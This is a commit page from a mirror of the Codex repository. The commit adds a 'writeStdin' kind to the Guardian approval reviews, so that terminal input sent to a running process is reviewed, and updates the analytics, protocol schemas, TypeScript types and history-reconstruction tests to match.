github/codex
4
0
Fork 0
mirror of https://github.com/openai/codex.git synced 2026-10-19 16:17:49 +00:00
Code Issues Packages Projects Releases Wiki Activity

Represent terminal input in approval reviews (#40528)

Browse Source 
## What changed

- Add a `writeStdin` Guardian action carrying the approval, process, input, and working-directory details.
- Distinguish `command` and `writeStdin` execution approval requests while defaulting missing kinds to `command` for compatibility with older events.
- Render terminal-input review progress, denials, timeouts, and retry actions in the TUI, and record the action separately in analytics.
- Keep terminal-input reviews as child approvals so they do not change the parent command item's lifecycle or reconstructed history.

## Testing

- Cover Guardian serialization, app-server protocol conversion, command history reconstruction, analytics classification, and TUI review flows for terminal input.

GitOrigin-RevId: b083d5e2963bdd23b928644ec03c7eb68ebf2950
This commit is contained in:
Dylan Hurd
2026-08-25 03:08:33 +00:00
committed by copyberry
parent a7b86b6201
commit 9c9675d3d0
51 changed files with 833 additions and 26 deletions
Download Patch File Download Diff File Expand all files Collapse all files
codex-rs/analytics/src/analytics_client_tests.rs
+31 -5
View File
@@ -966,6 +966,7 @@ fn sample_command_approval_request(request_id: i64, approval_id: Option<&str>) -
ServerRequest::CommandExecutionRequestApproval {
request_id: RequestId::Integer(request_id),
params: CommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
@@ -1031,6 +1032,7 @@ fn sample_guardian_review_completed(
review_id: &str,
target_item_id: Option<&str>,
status: GuardianApprovalReviewStatus,
action: GuardianApprovalReviewAction,
) -> ServerNotification {
ServerNotification::ItemGuardianApprovalReviewCompleted(
ItemGuardianApprovalReviewCompletedNotification {
@@ -1047,11 +1049,7 @@ fn sample_guardian_review_completed(
user_authorization: None,
rationale: None,
},
action: GuardianApprovalReviewAction::Command {
source: AppServerGuardianCommandSource::Shell,
command: "echo hi".to_string(),
cwd: test_path_buf("/tmp").abs(),
},
action,
},
)
}
@@ -3137,6 +3135,11 @@ async fn guardian_completed_notification_publishes_review_event_with_thread_meta
"guardian-review-1",
Some("item-1"),
GuardianApprovalReviewStatus::Denied,
GuardianApprovalReviewAction::Command {
source: AppServerGuardianCommandSource::Shell,
command: "echo hi".to_string(),
cwd: test_path_buf("/tmp").abs(),
},
))),
&mut events,
)
@@ -3186,6 +3189,29 @@ async fn terminal_reviews_denormalize_counts_onto_tool_item_events() {
.await;
events.clear();
reducer
.ingest(
AnalyticsFact::Notification(Box::new(sample_guardian_review_completed(
"guardian-stdin-review-1",
Some("item-1"),
GuardianApprovalReviewStatus::Denied,
GuardianApprovalReviewAction::WriteStdin {
approval_id: "stdin-approval-1".to_string(),
process_id: "42".to_string(),
stdin: "confirm\n".to_string(),
cwd: test_path_buf("/tmp").abs().into(),
},
))),
&mut events,
)
.await;
let review_payload = serde_json::to_value(&events[0]).expect("serialize review event");
assert_eq!(
review_payload["event_params"]["subject_kind"],
"write_stdin"
);
events.clear();
ingest_completed_command_execution_item(&mut reducer, &mut events, "thread-1", "item-1").await;
let payload = serde_json::to_value(&events[0]).expect("serialize tool item event");
codex-rs/analytics/src/events.rs
+4
View File
@@ -344,6 +344,9 @@ pub enum GuardianReviewedAction {
additional_permissions: Option<AdditionalPermissionProfile>,
tty: bool,
},
WriteStdin {
tty: bool,
},
Execve {
source: GuardianCommandSource,
program: String,
@@ -664,6 +667,7 @@ pub(crate) struct CodexToolItemEventBase {
#[serde(rename_all = "snake_case")]
pub(crate) enum ReviewSubjectKind {
CommandExecution,
WriteStdin,
FileChange,
McpToolCall,
Permissions,
codex-rs/analytics/src/reducer.rs
+10 -1
View File
@@ -2490,7 +2490,9 @@ fn item_review_summary_key(pending_review: &PendingReviewState) -> Option<ToolIt
turn_id: pending_review.turn_id.clone(),
item_id: pending_review.item_id.clone()?,
}),
ReviewSubjectKind::Permissions | ReviewSubjectKind::NetworkAccess => None,
ReviewSubjectKind::WriteStdin
| ReviewSubjectKind::Permissions
| ReviewSubjectKind::NetworkAccess => None,
}
}
@@ -3030,6 +3032,11 @@ fn guardian_review_subject_metadata(
"command_execution".to_string(),
ReviewTrigger::Initial,
),
GuardianApprovalReviewAction::WriteStdin { .. } => (
ReviewSubjectKind::WriteStdin,
"write_stdin".to_string(),
ReviewTrigger::Initial,
),
GuardianApprovalReviewAction::Execve { .. } => (
ReviewSubjectKind::CommandExecution,
"command_execution".to_string(),
@@ -3081,6 +3088,7 @@ fn guardian_review_requested_additional_permissions(action: &GuardianApprovalRev
|| permissions.file_system.is_some()
}
GuardianApprovalReviewAction::Command { .. }
| GuardianApprovalReviewAction::WriteStdin { .. }
| GuardianApprovalReviewAction::Execve { .. }
| GuardianApprovalReviewAction::McpToolCall { .. } => false,
}
@@ -3094,6 +3102,7 @@ fn guardian_review_requested_network_access(action: &GuardianApprovalReviewActio
}
GuardianApprovalReviewAction::ApplyPatch { .. }
| GuardianApprovalReviewAction::Command { .. }
| GuardianApprovalReviewAction::WriteStdin { .. }
| GuardianApprovalReviewAction::Execve { .. }
| GuardianApprovalReviewAction::McpToolCall { .. } => false,
}
codex-rs/app-server-protocol/schema/json/CommandExecutionRequestApprovalParams.json
Generated
+18 -1
View File
@@ -269,6 +269,14 @@
}
]
},
"CommandExecutionApprovalKind": {
"description": "Distinguishes a command approval from input sent to an existing terminal.",
"enum": [
"command",
"writeStdin"
],
"type": "string"
},
"FileSystemAccessMode": {
"enum": [
"read",
@@ -525,7 +533,7 @@
},
"properties": {
"approvalId": {
"description": "Unique identifier for this specific approval callback.\n\nFor regular shell/unified_exec approvals, this is null.\n\nFor zsh-exec-bridge subcommand approvals, multiple callbacks can belong to one parent `itemId`, so `approvalId` is a distinct opaque callback id (a UUID) used to disambiguate routing.",
"description": "Unique identifier for this specific approval callback.\n\nFor regular shell/unified_exec approvals, this is null.\n\nFor zsh-exec-bridge subcommand approvals, multiple callbacks can belong to one parent `itemId`, so `approvalId` is a distinct opaque callback id (a UUID) used to disambiguate routing. Stdin approvals also use a distinct callback id; inspect `kind` to distinguish them.",
"type": [
"string",
"null"
@@ -570,6 +578,15 @@
"itemId": {
"type": "string"
},
"kind": {
"allOf": [
{
"$ref": "#/definitions/CommandExecutionApprovalKind"
}
],
"default": "command",
"description": "Kind of action under review. Defaults to `command` for older servers."
},
"networkApprovalContext": {
"anyOf": [
{
codex-rs/app-server-protocol/schema/json/ServerNotification.json
Generated
+35 -2
View File
@@ -1879,6 +1879,39 @@
"title": "ExecveGuardianApprovalReviewAction",
"type": "object"
},
{
"description": "A child approval for input to an existing command execution item.",
"properties": {
"approvalId": {
"type": "string"
},
"cwd": {
"$ref": "#/definitions/LegacyAppPathString"
},
"processId": {
"type": "string"
},
"stdin": {
"type": "string"
},
"type": {
"enum": [
"writeStdin"
],
"title": "WriteStdinGuardianApprovalReviewActionType",
"type": "string"
}
},
"required": [
"approvalId",
"cwd",
"processId",
"stdin",
"type"
],
"title": "WriteStdinGuardianApprovalReviewAction",
"type": "object"
},
{
"properties": {
"cwd": {
@@ -2385,7 +2418,7 @@
"type": "integer"
},
"targetItemId": {
"description": "Identifier for the reviewed item or tool call when one exists.\n\nIn most cases, one review maps to one target item. The exceptions are - execve reviews, where a single command may contain multiple execve calls to review (only possible when using the shell_zsh_fork feature) - network policy reviews, where there is no target item\n\nA network call is triggered by a CommandExecution item, so having a target_item_id set to the CommandExecution item would be misleading because the review is about the network call, not the command execution. Therefore, target_item_id is set to None for network policy reviews.",
"description": "Identifier for the reviewed item or tool call when one exists.\n\nIn most cases, one review maps to one target item. The exceptions are - execve reviews, where a single command may contain multiple execve calls to review (only possible when using the shell_zsh_fork feature) - stdin reviews, which refer to the existing parent command item and have a separate approval ID in the action payload - network policy reviews, where there is no target item\n\nA network call is triggered by a CommandExecution item, so having a target_item_id set to the CommandExecution item would be misleading because the review is about the network call, not the command execution. Therefore, target_item_id is set to None for network policy reviews.",
"type": [
"string",
"null"
@@ -2429,7 +2462,7 @@
"type": "integer"
},
"targetItemId": {
"description": "Identifier for the reviewed item or tool call when one exists.\n\nIn most cases, one review maps to one target item. The exceptions are - execve reviews, where a single command may contain multiple execve calls to review (only possible when using the shell_zsh_fork feature) - network policy reviews, where there is no target item\n\nA network call is triggered by a CommandExecution item, so having a target_item_id set to the CommandExecution item would be misleading because the review is about the network call, not the command execution. Therefore, target_item_id is set to None for network policy reviews.",
"description": "Identifier for the reviewed item or tool call when one exists.\n\nIn most cases, one review maps to one target item. The exceptions are - execve reviews, where a single command may contain multiple execve calls to review (only possible when using the shell_zsh_fork feature) - stdin reviews, which refer to the existing parent command item and have a separate approval ID in the action payload - network policy reviews, where there is no target item\n\nA network call is triggered by a CommandExecution item, so having a target_item_id set to the CommandExecution item would be misleading because the review is about the network call, not the command execution. Therefore, target_item_id is set to None for network policy reviews.",
"type": [
"string",
"null"
codex-rs/app-server-protocol/schema/json/ServerRequest.json
Generated
+18 -1
View File
@@ -342,10 +342,18 @@
}
]
},
"CommandExecutionApprovalKind": {
"description": "Distinguishes a command approval from input sent to an existing terminal.",
"enum": [
"command",
"writeStdin"
],
"type": "string"
},
"CommandExecutionRequestApprovalParams": {
"properties": {
"approvalId": {
"description": "Unique identifier for this specific approval callback.\n\nFor regular shell/unified_exec approvals, this is null.\n\nFor zsh-exec-bridge subcommand approvals, multiple callbacks can belong to one parent `itemId`, so `approvalId` is a distinct opaque callback id (a UUID) used to disambiguate routing.",
"description": "Unique identifier for this specific approval callback.\n\nFor regular shell/unified_exec approvals, this is null.\n\nFor zsh-exec-bridge subcommand approvals, multiple callbacks can belong to one parent `itemId`, so `approvalId` is a distinct opaque callback id (a UUID) used to disambiguate routing. Stdin approvals also use a distinct callback id; inspect `kind` to distinguish them.",
"type": [
"string",
"null"
@@ -390,6 +398,15 @@
"itemId": {
"type": "string"
},
"kind": {
"allOf": [
{
"$ref": "#/definitions/CommandExecutionApprovalKind"
}
],
"default": "command",
"description": "Kind of action under review. Defaults to `command` for older servers."
},
"networkApprovalContext": {
"anyOf": [
{
codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.schemas.json
Generated
+53 -3
View File
@@ -2570,11 +2570,19 @@
}
]
},
"CommandExecutionApprovalKind": {
"description": "Distinguishes a command approval from input sent to an existing terminal.",
"enum": [
"command",
"writeStdin"
],
"type": "string"
},
"CommandExecutionRequestApprovalParams": {
"$schema": "http://json-schema.org/draft-07/schema#",
"properties": {
"approvalId": {
"description": "Unique identifier for this specific approval callback.\n\nFor regular shell/unified_exec approvals, this is null.\n\nFor zsh-exec-bridge subcommand approvals, multiple callbacks can belong to one parent `itemId`, so `approvalId` is a distinct opaque callback id (a UUID) used to disambiguate routing.",
"description": "Unique identifier for this specific approval callback.\n\nFor regular shell/unified_exec approvals, this is null.\n\nFor zsh-exec-bridge subcommand approvals, multiple callbacks can belong to one parent `itemId`, so `approvalId` is a distinct opaque callback id (a UUID) used to disambiguate routing. Stdin approvals also use a distinct callback id; inspect `kind` to distinguish them.",
"type": [
"string",
"null"
@@ -2619,6 +2627,15 @@
"itemId": {
"type": "string"
},
"kind": {
"allOf": [
{
"$ref": "#/definitions/CommandExecutionApprovalKind"
}
],
"default": "command",
"description": "Kind of action under review. Defaults to `command` for older servers."
},
"networkApprovalContext": {
"anyOf": [
{
@@ -12225,6 +12242,39 @@
"title": "ExecveGuardianApprovalReviewAction",
"type": "object"
},
{
"description": "A child approval for input to an existing command execution item.",
"properties": {
"approvalId": {
"type": "string"
},
"cwd": {
"$ref": "#/definitions/v2/LegacyAppPathString"
},
"processId": {
"type": "string"
},
"stdin": {
"type": "string"
},
"type": {
"enum": [
"writeStdin"
],
"title": "WriteStdinGuardianApprovalReviewActionType",
"type": "string"
}
},
"required": [
"approvalId",
"cwd",
"processId",
"stdin",
"type"
],
"title": "WriteStdinGuardianApprovalReviewAction",
"type": "object"
},
{
"properties": {
"cwd": {
@@ -13068,7 +13118,7 @@
"type": "integer"
},
"targetItemId": {
"description": "Identifier for the reviewed item or tool call when one exists.\n\nIn most cases, one review maps to one target item. The exceptions are - execve reviews, where a single command may contain multiple execve calls to review (only possible when using the shell_zsh_fork feature) - network policy reviews, where there is no target item\n\nA network call is triggered by a CommandExecution item, so having a target_item_id set to the CommandExecution item would be misleading because the review is about the network call, not the command execution. Therefore, target_item_id is set to None for network policy reviews.",
"description": "Identifier for the reviewed item or tool call when one exists.\n\nIn most cases, one review maps to one target item. The exceptions are - execve reviews, where a single command may contain multiple execve calls to review (only possible when using the shell_zsh_fork feature) - stdin reviews, which refer to the existing parent command item and have a separate approval ID in the action payload - network policy reviews, where there is no target item\n\nA network call is triggered by a CommandExecution item, so having a target_item_id set to the CommandExecution item would be misleading because the review is about the network call, not the command execution. Therefore, target_item_id is set to None for network policy reviews.",
"type": [
"string",
"null"
@@ -13114,7 +13164,7 @@
"type": "integer"
},
"targetItemId": {
"description": "Identifier for the reviewed item or tool call when one exists.\n\nIn most cases, one review maps to one target item. The exceptions are - execve reviews, where a single command may contain multiple execve calls to review (only possible when using the shell_zsh_fork feature) - network policy reviews, where there is no target item\n\nA network call is triggered by a CommandExecution item, so having a target_item_id set to the CommandExecution item would be misleading because the review is about the network call, not the command execution. Therefore, target_item_id is set to None for network policy reviews.",
"description": "Identifier for the reviewed item or tool call when one exists.\n\nIn most cases, one review maps to one target item. The exceptions are - execve reviews, where a single command may contain multiple execve calls to review (only possible when using the shell_zsh_fork feature) - stdin reviews, which refer to the existing parent command item and have a separate approval ID in the action payload - network policy reviews, where there is no target item\n\nA network call is triggered by a CommandExecution item, so having a target_item_id set to the CommandExecution item would be misleading because the review is about the network call, not the command execution. Therefore, target_item_id is set to None for network policy reviews.",
"type": [
"string",
"null"
codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.v2.schemas.json
Generated
+35 -2
View File
@@ -8314,6 +8314,39 @@
"title": "ExecveGuardianApprovalReviewAction",
"type": "object"
},
{
"description": "A child approval for input to an existing command execution item.",
"properties": {
"approvalId": {
"type": "string"
},
"cwd": {
"$ref": "#/definitions/LegacyAppPathString"
},
"processId": {
"type": "string"
},
"stdin": {
"type": "string"
},
"type": {
"enum": [
"writeStdin"
],
"title": "WriteStdinGuardianApprovalReviewActionType",
"type": "string"
}
},
"required": [
"approvalId",
"cwd",
"processId",
"stdin",
"type"
],
"title": "WriteStdinGuardianApprovalReviewAction",
"type": "object"
},
{
"properties": {
"cwd": {
@@ -9218,7 +9251,7 @@
"type": "integer"
},
"targetItemId": {
"description": "Identifier for the reviewed item or tool call when one exists.\n\nIn most cases, one review maps to one target item. The exceptions are - execve reviews, where a single command may contain multiple execve calls to review (only possible when using the shell_zsh_fork feature) - network policy reviews, where there is no target item\n\nA network call is triggered by a CommandExecution item, so having a target_item_id set to the CommandExecution item would be misleading because the review is about the network call, not the command execution. Therefore, target_item_id is set to None for network policy reviews.",
"description": "Identifier for the reviewed item or tool call when one exists.\n\nIn most cases, one review maps to one target item. The exceptions are - execve reviews, where a single command may contain multiple execve calls to review (only possible when using the shell_zsh_fork feature) - stdin reviews, which refer to the existing parent command item and have a separate approval ID in the action payload - network policy reviews, where there is no target item\n\nA network call is triggered by a CommandExecution item, so having a target_item_id set to the CommandExecution item would be misleading because the review is about the network call, not the command execution. Therefore, target_item_id is set to None for network policy reviews.",
"type": [
"string",
"null"
@@ -9264,7 +9297,7 @@
"type": "integer"
},
"targetItemId": {
"description": "Identifier for the reviewed item or tool call when one exists.\n\nIn most cases, one review maps to one target item. The exceptions are - execve reviews, where a single command may contain multiple execve calls to review (only possible when using the shell_zsh_fork feature) - network policy reviews, where there is no target item\n\nA network call is triggered by a CommandExecution item, so having a target_item_id set to the CommandExecution item would be misleading because the review is about the network call, not the command execution. Therefore, target_item_id is set to None for network policy reviews.",
"description": "Identifier for the reviewed item or tool call when one exists.\n\nIn most cases, one review maps to one target item. The exceptions are - execve reviews, where a single command may contain multiple execve calls to review (only possible when using the shell_zsh_fork feature) - stdin reviews, which refer to the existing parent command item and have a separate approval ID in the action payload - network policy reviews, where there is no target item\n\nA network call is triggered by a CommandExecution item, so having a target_item_id set to the CommandExecution item would be misleading because the review is about the network call, not the command execution. Therefore, target_item_id is set to None for network policy reviews.",
"type": [
"string",
"null"
codex-rs/app-server-protocol/schema/json/v2/ItemGuardianApprovalReviewCompletedNotification.json
Generated
+34 -1
View File
@@ -372,6 +372,39 @@
"title": "ExecveGuardianApprovalReviewAction",
"type": "object"
},
{
"description": "A child approval for input to an existing command execution item.",
"properties": {
"approvalId": {
"type": "string"
},
"cwd": {
"$ref": "#/definitions/LegacyAppPathString"
},
"processId": {
"type": "string"
},
"stdin": {
"type": "string"
},
"type": {
"enum": [
"writeStdin"
],
"title": "WriteStdinGuardianApprovalReviewActionType",
"type": "string"
}
},
"required": [
"approvalId",
"cwd",
"processId",
"stdin",
"type"
],
"title": "WriteStdinGuardianApprovalReviewAction",
"type": "object"
},
{
"properties": {
"cwd": {
@@ -606,7 +639,7 @@
"type": "integer"
},
"targetItemId": {
"description": "Identifier for the reviewed item or tool call when one exists.\n\nIn most cases, one review maps to one target item. The exceptions are - execve reviews, where a single command may contain multiple execve calls to review (only possible when using the shell_zsh_fork feature) - network policy reviews, where there is no target item\n\nA network call is triggered by a CommandExecution item, so having a target_item_id set to the CommandExecution item would be misleading because the review is about the network call, not the command execution. Therefore, target_item_id is set to None for network policy reviews.",
"description": "Identifier for the reviewed item or tool call when one exists.\n\nIn most cases, one review maps to one target item. The exceptions are - execve reviews, where a single command may contain multiple execve calls to review (only possible when using the shell_zsh_fork feature) - stdin reviews, which refer to the existing parent command item and have a separate approval ID in the action payload - network policy reviews, where there is no target item\n\nA network call is triggered by a CommandExecution item, so having a target_item_id set to the CommandExecution item would be misleading because the review is about the network call, not the command execution. Therefore, target_item_id is set to None for network policy reviews.",
"type": [
"string",
"null"
codex-rs/app-server-protocol/schema/json/v2/ItemGuardianApprovalReviewStartedNotification.json
Generated
+34 -1
View File
@@ -365,6 +365,39 @@
"title": "ExecveGuardianApprovalReviewAction",
"type": "object"
},
{
"description": "A child approval for input to an existing command execution item.",
"properties": {
"approvalId": {
"type": "string"
},
"cwd": {
"$ref": "#/definitions/LegacyAppPathString"
},
"processId": {
"type": "string"
},
"stdin": {
"type": "string"
},
"type": {
"enum": [
"writeStdin"
],
"title": "WriteStdinGuardianApprovalReviewActionType",
"type": "string"
}
},
"required": [
"approvalId",
"cwd",
"processId",
"stdin",
"type"
],
"title": "WriteStdinGuardianApprovalReviewAction",
"type": "object"
},
{
"properties": {
"cwd": {
@@ -591,7 +624,7 @@
"type": "integer"
},
"targetItemId": {
"description": "Identifier for the reviewed item or tool call when one exists.\n\nIn most cases, one review maps to one target item. The exceptions are - execve reviews, where a single command may contain multiple execve calls to review (only possible when using the shell_zsh_fork feature) - network policy reviews, where there is no target item\n\nA network call is triggered by a CommandExecution item, so having a target_item_id set to the CommandExecution item would be misleading because the review is about the network call, not the command execution. Therefore, target_item_id is set to None for network policy reviews.",
"description": "Identifier for the reviewed item or tool call when one exists.\n\nIn most cases, one review maps to one target item. The exceptions are - execve reviews, where a single command may contain multiple execve calls to review (only possible when using the shell_zsh_fork feature) - stdin reviews, which refer to the existing parent command item and have a separate approval ID in the action payload - network policy reviews, where there is no target item\n\nA network call is triggered by a CommandExecution item, so having a target_item_id set to the CommandExecution item would be misleading because the review is about the network call, not the command execution. Therefore, target_item_id is set to None for network policy reviews.",
"type": [
"string",
"null"
codex-rs/app-server-protocol/schema/precomputed/app-server-exports-experimental.json.zst
Generated
BIN
View File
Binary file not shown.
codex-rs/app-server-protocol/schema/precomputed/app-server-exports-stable.json.zst
Generated
BIN
View File
Binary file not shown.
codex-rs/app-server-protocol/schema/typescript/v2/CommandExecutionApprovalKind.ts
Generated
+8
View File
@@ -0,0 +1,8 @@
// GENERATED CODE! DO NOT MODIFY BY HAND!
// This file was generated by [ts-rs](https://github.com/Aleph-Alpha/ts-rs). Do not edit this file manually.
/**
* Distinguishes a command approval from input sent to an existing terminal.
*/
export type CommandExecutionApprovalKind = "command" | "writeStdin";
codex-rs/app-server-protocol/schema/typescript/v2/CommandExecutionRequestApprovalParams.ts
Generated
+6 -1
View File
@@ -3,11 +3,15 @@
// This file was generated by [ts-rs](https://github.com/Aleph-Alpha/ts-rs). Do not edit this file manually.
import type { LegacyAppPathString } from "../LegacyAppPathString";
import type { CommandAction } from "./CommandAction";
import type { CommandExecutionApprovalKind } from "./CommandExecutionApprovalKind";
import type { ExecPolicyAmendment } from "./ExecPolicyAmendment";
import type { NetworkApprovalContext } from "./NetworkApprovalContext";
import type { NetworkPolicyAmendment } from "./NetworkPolicyAmendment";
export type CommandExecutionRequestApprovalParams = {threadId: string, turnId: string, itemId: string, /**
export type CommandExecutionRequestApprovalParams = {/**
* Kind of action under review. Defaults to `command` for older servers.
*/
kind: CommandExecutionApprovalKind, threadId: string, turnId: string, itemId: string, /**
* Unix timestamp (in milliseconds) when this approval request started.
*/
startedAtMs: number, /**
@@ -18,6 +22,7 @@ startedAtMs: number, /**
* For zsh-exec-bridge subcommand approvals, multiple callbacks can belong to
* one parent `itemId`, so `approvalId` is a distinct opaque callback id
* (a UUID) used to disambiguate routing.
* Stdin approvals also use a distinct callback id; inspect `kind` to distinguish them.
*/
approvalId?: string | null, /**
* Environment in which the command will run.
codex-rs/app-server-protocol/schema/typescript/v2/GuardianApprovalReviewAction.ts
Generated
+2 -1
View File
@@ -2,8 +2,9 @@
// This file was generated by [ts-rs](https://github.com/Aleph-Alpha/ts-rs). Do not edit this file manually.
import type { AbsolutePathBuf } from "../AbsolutePathBuf";
import type { LegacyAppPathString } from "../LegacyAppPathString";
import type { GuardianCommandSource } from "./GuardianCommandSource";
import type { NetworkApprovalProtocol } from "./NetworkApprovalProtocol";
import type { RequestPermissionProfile } from "./RequestPermissionProfile";
export type GuardianApprovalReviewAction = { "type": "command", source: GuardianCommandSource, command: string, cwd: AbsolutePathBuf, } | { "type": "execve", source: GuardianCommandSource, program: string, argv: Array<string>, cwd: AbsolutePathBuf, } | { "type": "applyPatch", cwd: AbsolutePathBuf, files: Array<AbsolutePathBuf>, } | { "type": "networkAccess", target: string, host: string, protocol: NetworkApprovalProtocol, port: number, } | { "type": "mcpToolCall", server: string, toolName: string, connectorId: string | null, connectorName: string | null, toolTitle: string | null, } | { "type": "requestPermissions", reason: string | null, permissions: RequestPermissionProfile, };
export type GuardianApprovalReviewAction = { "type": "command", source: GuardianCommandSource, command: string, cwd: AbsolutePathBuf, } | { "type": "execve", source: GuardianCommandSource, program: string, argv: Array<string>, cwd: AbsolutePathBuf, } | { "type": "writeStdin", approvalId: string, processId: string, stdin: string, cwd: LegacyAppPathString, } | { "type": "applyPatch", cwd: AbsolutePathBuf, files: Array<AbsolutePathBuf>, } | { "type": "networkAccess", target: string, host: string, protocol: NetworkApprovalProtocol, port: number, } | { "type": "mcpToolCall", server: string, toolName: string, connectorId: string | null, connectorName: string | null, toolTitle: string | null, } | { "type": "requestPermissions", reason: string | null, permissions: RequestPermissionProfile, };
codex-rs/app-server-protocol/schema/typescript/v2/ItemGuardianApprovalReviewCompletedNotification.ts
Generated
+2
View File
@@ -28,6 +28,8 @@ reviewId: string,
* In most cases, one review maps to one target item. The exceptions are
* - execve reviews, where a single command may contain multiple execve
* calls to review (only possible when using the shell_zsh_fork feature)
* - stdin reviews, which refer to the existing parent command item and
* have a separate approval ID in the action payload
* - network policy reviews, where there is no target item
*
* A network call is triggered by a CommandExecution item, so having a
codex-rs/app-server-protocol/schema/typescript/v2/ItemGuardianApprovalReviewStartedNotification.ts
Generated
+2
View File
@@ -23,6 +23,8 @@ reviewId: string,
* In most cases, one review maps to one target item. The exceptions are
* - execve reviews, where a single command may contain multiple execve
* calls to review (only possible when using the shell_zsh_fork feature)
* - stdin reviews, which refer to the existing parent command item and
* have a separate approval ID in the action payload
* - network policy reviews, where there is no target item
*
* A network call is triggered by a CommandExecution item, so having a
codex-rs/app-server-protocol/schema/typescript/v2/index.ts
Generated
+1
View File
@@ -77,6 +77,7 @@ export type { CommandExecTerminateResponse } from "./CommandExecTerminateRespons
export type { CommandExecWriteParams } from "./CommandExecWriteParams";
export type { CommandExecWriteResponse } from "./CommandExecWriteResponse";
export type { CommandExecutionApprovalDecision } from "./CommandExecutionApprovalDecision";
export type { CommandExecutionApprovalKind } from "./CommandExecutionApprovalKind";
export type { CommandExecutionOutputDeltaNotification } from "./CommandExecutionOutputDeltaNotification";
export type { CommandExecutionRequestApprovalParams } from "./CommandExecutionRequestApprovalParams";
export type { CommandExecutionRequestApprovalResponse } from "./CommandExecutionRequestApprovalResponse";
codex-rs/app-server-protocol/src/protocol/common.rs
+1
View File
@@ -4468,6 +4468,7 @@ mod tests {
#[test]
fn command_execution_request_approval_additional_permissions_is_marked_experimental() {
let params = v2::CommandExecutionRequestApprovalParams {
kind: Default::default(),
thread_id: "thr_123".to_string(),
turn_id: "turn_123".to_string(),
item_id: "call_123".to_string(),
codex-rs/app-server-protocol/src/protocol/item_builders.rs
+3 -1
View File
@@ -185,6 +185,7 @@ fn command_actions_for_path_uri(parsed_cmd: &[ParsedCommand], cwd: &PathUri) ->
///
/// Currently this only synthesizes [`ThreadItem::CommandExecution`] for
/// [`GuardianAssessmentAction::Command`] and [`GuardianAssessmentAction::Execve`].
/// Stdin reviews are child approvals and must not change the parent item lifecycle.
pub fn build_item_from_guardian_event(
assessment: &GuardianAssessmentEvent,
status: CommandExecutionStatus,
@@ -249,7 +250,8 @@ pub fn build_item_from_guardian_event(
duration_ms: None,
})
}
GuardianAssessmentAction::ApplyPatch { .. }
GuardianAssessmentAction::WriteStdin { .. }
| GuardianAssessmentAction::ApplyPatch { .. }
| GuardianAssessmentAction::NetworkAccess { .. }
| GuardianAssessmentAction::McpToolCall { .. }
| GuardianAssessmentAction::RequestPermissions { .. } => None,
codex-rs/app-server-protocol/src/protocol/item_builders_tests.rs
+90
View File
@@ -1,4 +1,10 @@
use super::*;
use crate::protocol::thread_history::build_turns_from_rollout_items;
use codex_protocol::protocol::EventMsg;
use codex_protocol::protocol::ExecCommandSource;
use codex_protocol::protocol::GuardianAssessmentStatus;
use codex_protocol::protocol::TurnStartedEvent;
use codex_rollout::RolloutItem;
use pretty_assertions::assert_eq;
use serde_json::json;
@@ -83,3 +89,87 @@ fn read_command_actions_preserve_native_and_foreign_paths() {
);
}
}
#[test]
fn guardian_stdin_reviews_preserve_parent_command_history() {
let cwd = PathUri::parse("file:///home/alice/repo").expect("valid cwd URI");
let begin = ExecCommandBeginEvent {
call_id: "terminal-command".into(),
plugin_id: None,
script_path: None,
process_id: Some("42".into()),
turn_id: "turn-1".into(),
started_at_ms: 1_000,
command: vec!["cat".into()],
cwd: cwd.clone(),
parsed_cmd: vec![ParsedCommand::Unknown { cmd: "cat".into() }],
source: ExecCommandSource::UnifiedExecStartup,
interaction_input: None,
};
let start_turn = |turn_id: &str| {
RolloutItem::EventMsg(EventMsg::TurnStarted(TurnStartedEvent {
turn_id: turn_id.into(),
trace_id: None,
started_at: None,
model_context_window: None,
collaboration_mode_kind: Default::default(),
}))
};
let mut items = vec![
start_turn("turn-1"),
RolloutItem::EventMsg(EventMsg::ExecCommandBegin(begin.clone())),
start_turn("turn-2"),
];
let expected = build_turns_from_rollout_items(&items);
assert_eq!(expected.len(), 2);
assert_eq!(
expected[0].items,
vec![build_command_execution_begin_item(&begin)],
);
assert!(expected[1].items.is_empty());
let assessment = GuardianAssessmentEvent {
id: "review-stdin".into(),
target_item_id: Some("terminal-command".into()),
plugin_id: None,
script_path: None,
turn_id: "turn-2".into(),
started_at_ms: 2_000,
completed_at_ms: None,
status: GuardianAssessmentStatus::InProgress,
risk_level: None,
user_authorization: None,
rationale: None,
decision_source: None,
action: GuardianAssessmentAction::WriteStdin {
approval_id: "stdin-approval".into(),
process_id: "42".into(),
stdin: "yes\n".into(),
cwd,
},
};
for turn_id in ["turn-1", "turn-2"] {
for status in [
GuardianAssessmentStatus::InProgress,
GuardianAssessmentStatus::Approved,
GuardianAssessmentStatus::Denied,
GuardianAssessmentStatus::TimedOut,
GuardianAssessmentStatus::Aborted,
] {
items.push(RolloutItem::EventMsg(EventMsg::GuardianAssessment(
GuardianAssessmentEvent {
turn_id: turn_id.into(),
status,
..assessment.clone()
},
)));
assert_eq!(
build_turns_from_rollout_items(&items),
expected,
"stdin review {status:?} in {turn_id} must preserve command history",
);
items.pop();
}
}
}
codex-rs/app-server-protocol/src/protocol/v2/item.rs
+53
View File
@@ -20,6 +20,7 @@ pub use codex_extension_items::image_generation::ImageGenerationItem;
pub use codex_extension_items::sleep::SleepItem;
pub use codex_extension_items::web_search::WebSearchAction;
pub use codex_extension_items::web_search::WebSearchItem;
use codex_protocol::approvals::ExecApprovalKind as CoreExecApprovalKind;
use codex_protocol::approvals::GuardianAssessmentAction as CoreGuardianAssessmentAction;
use codex_protocol::approvals::GuardianAssessmentDecisionSource as CoreGuardianAssessmentDecisionSource;
use codex_protocol::approvals::GuardianCommandSource as CoreGuardianCommandSource;
@@ -635,6 +636,15 @@ pub enum GuardianApprovalReviewAction {
argv: Vec<String>,
cwd: AbsolutePathBuf,
},
/// A child approval for input to an existing command execution item.
#[serde(rename_all = "camelCase")]
#[ts(rename_all = "camelCase")]
WriteStdin {
approval_id: String,
process_id: String,
stdin: String,
cwd: LegacyAppPathString,
},
#[serde(rename_all = "camelCase")]
#[ts(rename_all = "camelCase")]
ApplyPatch {
@@ -689,6 +699,17 @@ impl From<CoreGuardianAssessmentAction> for GuardianApprovalReviewAction {
argv,
cwd,
},
CoreGuardianAssessmentAction::WriteStdin {
approval_id,
process_id,
stdin,
cwd,
} => Self::WriteStdin {
approval_id,
process_id,
stdin,
cwd: cwd.into(),
},
